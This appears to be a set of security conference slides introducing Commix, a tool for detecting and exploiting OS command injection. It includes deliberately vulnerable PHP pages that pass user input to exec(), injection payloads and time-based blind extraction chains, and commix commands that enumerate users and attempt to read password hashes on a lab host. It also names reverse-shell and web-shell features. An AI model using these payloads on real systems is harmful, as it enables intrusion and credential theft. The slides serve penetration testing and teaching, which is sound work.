Commix:
Detecting & Exploiting Command Injection Flaws.

Anastasios Stasinopoulos {stasinopoulos@unipi.gr}
Christoforos Ntantogian {dadoyan@unipi.gr}
Christos Xenakis {xenakis@unipi.gr}
Anastasios Stasinopoulos (@ancst)

- Ph.D candidate at University of Piraeus → Department of Digital Systems.
- Member of the Systems Security Laboratory (@ssl_unipi)
- Builder & Breaker.
Introduction.
Introduction.

- According to the [OWASP](https://owasp.org), “command injection is an attack in which the goal is the execution of arbitrary commands on the host operating system through a vulnerable application.”
  - ...is also referred as “shell injection”, “shell command injection”, “OS injection”, “OS command injection” etc.

- This attack is possible when an application passes unsafe user supplied data (i.e. forms, cookies, HTTP headers etc) to a system shell.

- The attacker-supplied OS commands are usually executed with the same privileges of the vulnerable application.
Are command injections still alive?
Where may command injections exist?

1. **Web Applications** (i.e IBM, Sophos, Symantec, LanDesk, Cacti, SquirrelMail, ....)
2. **ADSL SOHO routers** (i.e D-Link, TP-Link, Linksys, ....)
3. **IP Cameras** (i.e TP-Link, D-Link, Vivotek, Zero-IP, ...)
4. **Network Printers** (i.e Xerox, ...)
5. **IP PBX Applications** (i.e Asterisk PBX, FreePBX, ...)
6. **Raspberry PI based Web Applications**
7. **Arduino based Web Applications**
Why are command injections still alive?

- Command injection attacks are **OS-independent** ...
  - can occur in Windows, Linux, Unix etc.
- ... as well as **programming language-independent**
  - may occur in **applications** written in **various programming languages** → C, C++, C#, JAVA, PHP, Perl, Python, Ruby etc.
- ... or **web-based applications** written in **Web Application Frameworks** → ASP.NET, CGI, Python Django, Ruby on Rails etc.
What causes command injection flaws?
What causes command injection flaws?

The main reason that an application is vulnerable to command injection attacks, is due to **incorrect** or **complete lack** of **input data validation**.

```
echo exec("/bin/ping -c 4 " . $_GET["addr"])
```

...?**addr** = 127.0.0.1 ; **ls**

**GET parameter**

**Separator**

**Payload**

```
ancst@debian:/var/www/html/cmd$ /bin/ping -c 4 127.0.0.1 ; ls
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.011 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.025 ms
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.027 ms
64 bytes from 127.0.0.1: icmp_seq=4 ttl=64 time=0.021 ms
--- 127.0.0.1 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2998ms
rtt min/avg/max/mdev = 0.011/0.021/0.027/0.006 ms
```

blind.php normal.php

ancst@debian:/var/www/html/cmd$
Analysis of command injection attacks.
Analysis of command injection attacks.

1. Results-based command injections.
   - The vulnerable application **outputs the results** of the injected command.
   - The attacker **can directly infer** if the command injection succeeded or not.
     - Injection results **are visible**.

2. Blind command injections.
   - The vulnerable application **does not output the results** of the injected command.
   - Even if the attacker injects an arbitrary command, the results **will not be shown** in the screen.
     - Injection results **are not visible**.
Results-based command injections.
Example #1: “normal.php”.

```html
<html>
<head>
<title>Debug Page</title>
</head>
<body>
<form action="normal.php" method="get">
Ping address: <input type="text" name="addr">
<input type="submit">
</form>
</body>
</html>

<?php
# Execute command!
echo exec("/bin/ping -c 4 " .$_GET["addr"]);
?>
Example #1: “normal.php” exploitation.

**Execution Result:**

Ping address: 127.0.0.1

`ping -c 4 127.0.0.1`

rtt min/avg/max/mdev = 0.010/0.025/0.055/0.018 ms

**Command Injection:**

Ping address: 127.0.0.1; ls

`ping -c 4 127.0.0.1; ls`
YEAH, BUT...

WHAT IF?
Blind command injections.
Example #2: "blind.php".

```html
<html>
  <head>
    <title>Debug Page</title>
  </head>
  <body>
    <form action="blind.php" method="get">
      Ping address: <input type="text" name="addr">
      <input type="submit">
    </form>
  </body>
</html>

<?php
  # Execute command!
  exec("/bin/ping -c 4 ".$_GET["addr"]);
?>
Example #2: “blind.php” exploitation.

Ping address: 127.0.0.1

Execution Result

Ping address: 127.0.0.1; ls

Command Injection

Execution Result
IN ORDER TO SEE, WE HAVE TO BE BLIND
Time-based technique.

Is based on **time delays** → The attacker **can presume** the result of the injected command.

1. **Decides if** the application **is vulnerable** to time-based blind command injection or not.

2. **Determines** the **length** of the output of the injected command.

3. **Exports** **char-by-char** the output of the injected command, using a chain of OS commands (i.e. “cut”, “head”, “od” and “tr”).

```bash
1 ;
2 str=$(echo EVDZQP);
3 str1=${#str};
4 if [ "6" != ${str1} ];
5 then sleep 0;
6 else sleep 1;
7 fi
```

```bash
1 ;
2 str=$(whoami);
3 str1=${#str};
4 if [ 5 != ${str1} ];
5 then sleep 0;
6 else sleep 1;
7 fi
```

```bash
1 ;
2 str=$(uname|tr "\n" " |cut -c 1|od -N 1 -i|head -1|tr -s " "|cut -d " " -f 2);
3 if [ 32 != ${str} ];
4 then sleep 0;
5 else sleep 1;
6 fi
```
OR AT LEAST...

SEMI BLIND
**Basic Idea:** If we are not able to see the results of the execution of an injected command....

- ...we can write them to a file, which is accessible by *us*!

What If, web server’s root directory is **not writable/accessible**?

- We can use the **temp directories**, (”/tmp/” or ”/var/tmp/”) to store a file with the output of the injected command!
  - **Limitation:** Usually, we **cannot read files** located in these temp directories through the web application.
  - To **bypass this limitation**, apply the **time-based technique** to read the contents of the text file!
    - ...is also referred as **"tempfile-based technique"**.
Commix tool.
General information.

- **Commix** *(a short for command injection exploiter)* is a software tool aiming at facilitating web developers, penetration testers and security researchers to test web applications with the view to find bugs, errors or vulnerabilities related to command injection attacks.
  - [https://github.com/stasinopoulos/commix](https://github.com/stasinopoulos/commix)
  - Follow @commixproject.
- Written in **Python** programming language.
  - Python version 2.6.x or 2.7.x is required.
- Cross-platform application
  - Linux
  - Mac OS X
  - Windows *(experimental)*
- Free Open Source Software.
Installation.

Download commix by cloning the Git repository:

```
root@kali:/pentest/exploitation# git clone https://github.com/stasinopoulos/commix
Cloning into 'commix'...
remote: Counting objects: 3433, done.
remote: Compressing objects: 100% (94/94), done.
remote: Total 3433 (delta 36), reused 0 (delta 0), pack-reused 3339
Receiving objects: 100% (3433/3433), 806.38 KiB | 114.00 KiB/s, done.
Resolving deltas: 100% (1856/1856), done.
root@kali:/pentest/exploitation#
```

Commix comes **packaged** on the official repositories of the following Linux distributions. **Use the package manager** to install it!

- ArchAssault
- BlackArch

Commix also comes **as a plugin**, on the following penetration testing frameworks:

- The Penetration Testers Framework (PTF)
- PentestBox
- Weakerthan
- CTF-Tools
Supported exploitation techniques.
Supported exploitation techniques.

1. Results-based command injections
   • 1.1. The classic results-based technique.
     • Based on the *execution results* output.
   • 1.2. The dynamic code evaluation technique.
     • Based on the *eval()’s execution results* output.
     • Also supports:
       • *preg_replace()* injections via "/e" modifier.
       • *usort()* injections.
       • *assert()* injections.
       • *str_replace()* injections.
       • *preg_match()* injections.
2. **Blind command injections**
   - 2.1. **The time-based technique (Blind)**
     - Based on time delays → Output is inferred char-by-char.
   
   - 2.2. **The file-based technique (Semiblind)**
     - Based on the execution results output, in a random name text file in “/var/www/”, “/var/www/html/” etc.
   
   - 2.2.1 **The tempfile-based technique (Semiblind)**
     - Based on time delays → Output is inferred char-by-char from a random named text file in “/tmp/” or “/var/tmp/” directory.
Overview of the architecture.
Divided into three main modules:

**ATTACK VECTOR GENERATOR**
Generates a set of command injection attack vectors, using the separators list (i.e.;,&,|,%0a etc).

**VULNERABILITY DETECTION**
Performs the command injections to the target, using the generated set of attack vectors.

**EXPLOITATION**
Attempts exploitation procedure, If it determines that the application is vulnerable.
Reducing false positives.
Reducing false positives.

1. Regarding results-based command injections.
   - Prints three times a randomly generated string, combined with the result of a mathematic calculation of two randomly selected numbers.
     ```
     (!) The (GET) 'addr' parameter is vulnerable to Results-based Command Injection.
     (+) Type : Results-based Command Injection
     (+) Technique : Classic Injection Technique
     (+) Payload : ;echo KVCGCQ$((18+34))$(echo KVCGCQ)KVCGCQ
     ```
   - Must take as response → union of the strings combined with the result of the mathematic calculation (i.e KVCGCQ52KVCGCQKVCGCQ)

2. Regarding blind command injections.
   - **Problem:** High probability of false-positive results, due to random or accidental response delays of the target host.
     - Calculates the **Average Response Time** of the target host.
       ```
       (*) Setting the (GET) 'addr' parameter for tests.
       (^) Warning: The estimated response time is 1 second and that may cause delays.
       ```
   - The **Average Response Time**, is added to the Default Delay Time which is used to perform time-based attacks.
Functionality.
HTTP headers.

- Commix allows us to provide our own HTTP Referer header, HTTP User-Agent header, Cookies values, as well as extra custom HTTP headers.

- It also supports, command injections via all these HTTP Headers on every described technique!

```bash
root@kali:/pentest/exploitation/commix# python commix.py --url="http://192.168.2.11/commix-testbed/scenarios/user-agent/ua%28classic%29.php" --user-agent="INJECT HERE" --os-cmd="uname"

+---
Automated All-in-One OS Command Injection and Exploitation Tool
Copyright (c) 2015 Anastasios Stasinopoulos (@ancst)
+---
(*) Checking connection to the target URL... [ SUCCEED ]
(*) Setting the (GET) User-Agent HTTP header for tests.
(*) Testing the classic injection technique... [ SUCCEED ]
(!) The (GET) User-Agent HTTP header is vulnerable to Results-based Command Injection.
   (+) Type : Results-based Command Injection
   (+) Technique : Classic Injection Technique
   (+) Payload : 'echo F0LRBN$((72+65))$(echo F0LRBN)F0LRBN'

Linux
(!) The results can be found at '/pentest/exploitation/commix/.output/192.168.2.11/logs.txt'
```

root@kali:/pentest/exploitation/commix#
Enumeration options.

The **enumeration options**, can be used to **enumerate** the target host.

- Retrieve **current user name**.
- Retrieve **current hostname**.
- Check if the **current user have root privileges**.
- Retrieve **system information**.
  - Operating system and hardware platform.
- Retrieve **system users list**.
- Retrieve **system users privileges**.
- Retrieve **system users password hashes**.
- **Limitation:** The "*/etc/shadow*" file must be **readable** by current user.

```
root@kali:/pentest/exploitation/commix# python commix.py --url="http://192.168.2.11/commix-testbed/scenarios/regular/GET/classic.php?addr=127.0.0.1" --current-user --hostname --is-root --sys-info --users --passwords --privileges
```
<table>
<thead>
<tr>
<th>Username</th>
<th>Description</th>
<th>UID</th>
<th>Home Directory</th>
</tr>
</thead>
<tbody>
<tr>
<td>root</td>
<td>root user</td>
<td>0</td>
<td>/root</td>
</tr>
<tr>
<td>daemon</td>
<td>system user</td>
<td>1</td>
<td>/usr/sbin</td>
</tr>
<tr>
<td>bin</td>
<td>system user</td>
<td>2</td>
<td>/bin</td>
</tr>
<tr>
<td>sys</td>
<td>system user</td>
<td>3</td>
<td>/dev</td>
</tr>
<tr>
<td>sync</td>
<td>system user</td>
<td>4</td>
<td>/bin</td>
</tr>
<tr>
<td>games</td>
<td>system user</td>
<td>5</td>
<td>/usr/games</td>
</tr>
<tr>
<td>man</td>
<td>system user</td>
<td>6</td>
<td>/var/cache/man</td>
</tr>
<tr>
<td>lp</td>
<td>system user</td>
<td>7</td>
<td>/var/spool/ldp</td>
</tr>
<tr>
<td>mail</td>
<td>system user</td>
<td>8</td>
<td>/var/mail</td>
</tr>
<tr>
<td>news</td>
<td>system user</td>
<td>9</td>
<td>/var/spool/news</td>
</tr>
<tr>
<td>uucp</td>
<td>system user</td>
<td>10</td>
<td>/var/spool/uucp</td>
</tr>
<tr>
<td>proxy</td>
<td>system user</td>
<td>11</td>
<td>/bin</td>
</tr>
<tr>
<td>www-data</td>
<td>system user</td>
<td>12</td>
<td>/var/www</td>
</tr>
<tr>
<td>backup</td>
<td>system user</td>
<td>13</td>
<td>/var/backups</td>
</tr>
<tr>
<td>list</td>
<td>system user</td>
<td>14</td>
<td>/var/list</td>
</tr>
<tr>
<td>irc</td>
<td>system user</td>
<td>15</td>
<td>/var/run/ircd</td>
</tr>
<tr>
<td>gnats</td>
<td>system user</td>
<td>16</td>
<td>/var/lib/gnats</td>
</tr>
<tr>
<td>nobody</td>
<td>(nonexistent)</td>
<td>65534</td>
<td>/nonexistent</td>
</tr>
<tr>
<td>messagebus</td>
<td>regular user</td>
<td>101</td>
<td>/var/run/dbus</td>
</tr>
<tr>
<td>colord</td>
<td>regular user</td>
<td>102</td>
<td>/var/lib/color</td>
</tr>
<tr>
<td>usbmux</td>
<td>regular user</td>
<td>103</td>
<td>/home/usbmux</td>
</tr>
<tr>
<td>Debian-exim</td>
<td>regular user</td>
<td>104</td>
<td>/var/spool/exim4</td>
</tr>
<tr>
<td>statd</td>
<td>regular user</td>
<td>105</td>
<td>/var/lib/nfs</td>
</tr>
<tr>
<td>avahi</td>
<td>regular user</td>
<td>106</td>
<td>/var/run/avahi-daemon</td>
</tr>
<tr>
<td>pulse</td>
<td>regular user</td>
<td>107</td>
<td>/var/run/pulse</td>
</tr>
<tr>
<td>speech-dispatcher</td>
<td>regular user</td>
<td>108</td>
<td>/var/run/speech-dispatcher</td>
</tr>
<tr>
<td>hplip</td>
<td>regular user</td>
<td>109</td>
<td>/var/run/hplip</td>
</tr>
<tr>
<td>postgres</td>
<td>regular user</td>
<td>110</td>
<td>/var/lib/postgresql</td>
</tr>
<tr>
<td>rtkit</td>
<td>regular user</td>
<td>111</td>
<td>/proc</td>
</tr>
<tr>
<td>saned</td>
<td>regular user</td>
<td>112</td>
<td>/var/lib/saned</td>
</tr>
<tr>
<td>Debian-gdm</td>
<td>regular user</td>
<td>113</td>
<td>/var/lib/gdm3</td>
</tr>
<tr>
<td>ancst</td>
<td>regular user</td>
<td>1000</td>
<td>/home/ancst</td>
</tr>
<tr>
<td>mysql</td>
<td>regular user</td>
<td>114</td>
<td>/nonexistent</td>
</tr>
<tr>
<td>vboxadd</td>
<td>regular user</td>
<td>9999</td>
<td>/var/run/vboxadd</td>
</tr>
<tr>
<td>uuidd</td>
<td>regular user</td>
<td>100</td>
<td>/run/uuidd</td>
</tr>
<tr>
<td>systemd-timesync</td>
<td>regular user</td>
<td>115</td>
<td>/run/systemd</td>
</tr>
<tr>
<td>systemd-network</td>
<td>regular user</td>
<td>116</td>
<td>/run/systemd/netif</td>
</tr>
<tr>
<td>systemd-resolve</td>
<td>regular user</td>
<td>117</td>
<td>/run/systemd/resolve</td>
</tr>
<tr>
<td>systemd-bus-proxy</td>
<td>regular user</td>
<td>118</td>
<td>/run/systemd</td>
</tr>
<tr>
<td>geoclue</td>
<td>regular user</td>
<td>119</td>
<td>/var/lib/geoclue</td>
</tr>
<tr>
<td>dnsmasq</td>
<td>regular user</td>
<td>120</td>
<td>/var/lib/misc</td>
</tr>
</tbody>
</table>

(*) Error: Cannot open `/etc/shadow`
Alternative os-shell.

- Bypasses target host's bash limitation.
- ...restrictions of bash commands i.e “cat”, “echo”, etc.
- At this moment only python alternative is fully supported on every injection technique.

**Hint:** Pwn @VulnHub's 'Persistense' vm via this os-shell.
We <3 shellz!

1. **Netcat** (nc) reverse shells → Reverse shells to netcat.

2. **Netcat-without-netcat** reverse shells → Reverse shells to netcat... **without** using netcat.

   **Hint:** Check 'usage examples' wiki page → several test cases / attack scenarios.

3. Write/Upload a web-shell on target host via **file access** options.
   - **Metasploit** PHP meterpreter web shell.
   - **Weevely** PHP web shell.
   - ...suggest yours! → Fork & commit.

   **Hint:** Check 'upload shells' wiki page.
We <3 shellz!

Meterpreter PHP Reverse Shell

Netcat Reverse Shell
1. The ICMP exfiltration module.
   - This module is designed to provide a server-side component to receive and store files, exfiltrated over ICMP echo request packets.
   - **Hint:** Pwn @VulnHub's 'Persistense' vm via this module.

2. The 'Shellshock' module.
   - This module is designed to affect a Bash vulnerability which allows an attacker to remotely execute shell commands by attaching malicious code in environment variables used by the operating system.
   - **Hint:** Pwn @Pentesterlab's 'CVE-2014-6271/Shellshock' vm via this module.

3. Develop and easily import your own modules.
   - **Increase the capabilities** of commix and/or adapt it to our needs.
   - **Hint:** Check 'Module Development' wiki page.
Evaluation.
Command injection testbeds.

1. Damn Vulnerable Web App
2. Xtreme Vulnerable Web Application
3. OWASP: Mutillidae
4. bWAPP: bee-box (v1.6)
5. Persistence
6. Pentester Lab: Web For Pentester
7. Pentester Lab: CVE-2014-6271/Shellshock
8. Pentester Academy: Command Injection ISO: 1
9. Pentester Lab: Rack Cookies and Commands injection
10. SpiderLabs: MCIR (ShellOL)
11. Kioptrix: Level 1.1 (#2)
13. Acid Server: 1
14. Flick: 2
15. w3af-moth
16. commix-testbed
0-day disclosure.
0-day #1 disclosure

WP-Plugin-Grunt - https://github.com/michaelbontyes/wp-plugin-grunt

“A Wordpress plugin to manage your project using Grunt.”

0-day #2 disclosure

Sabai Technology - http://www.sabaitechnology.com/

“Sabai’s goal is to make VPN routers and other VPN network technology extremely easy to use and accessible to the average home or business at an affordable price.”

  - **Vulnerable file** → https://github.com/sabaitechnology/openvpnas/blob/master/bin/shell.php

- **VPNA** (v1): Configuration tools for a **VPN accelerator**.
  - **Vulnerable file** → https://github.com/sabaitechnology/vpna/blob/master/www/bin/shell.php

```
<?php

// Code snippet...
```
Bugs and enhancements

Except for pull requests, forks, or stars non-developers can open an issue @github.

Things i’d really appreciate:

- **Bug reports**
  - Preferably with error logs!

- **Enhancements**
  - Suggestions on how i can improve commix for you !?
  - Descriptions of how you use it !?
Any questions?

@ancst
https://github.com/stasinopoulos
stasinopoulos@unipi.gr | GPG : 0x2D40CEBF804F5133
https://stasinopoulos.github.io/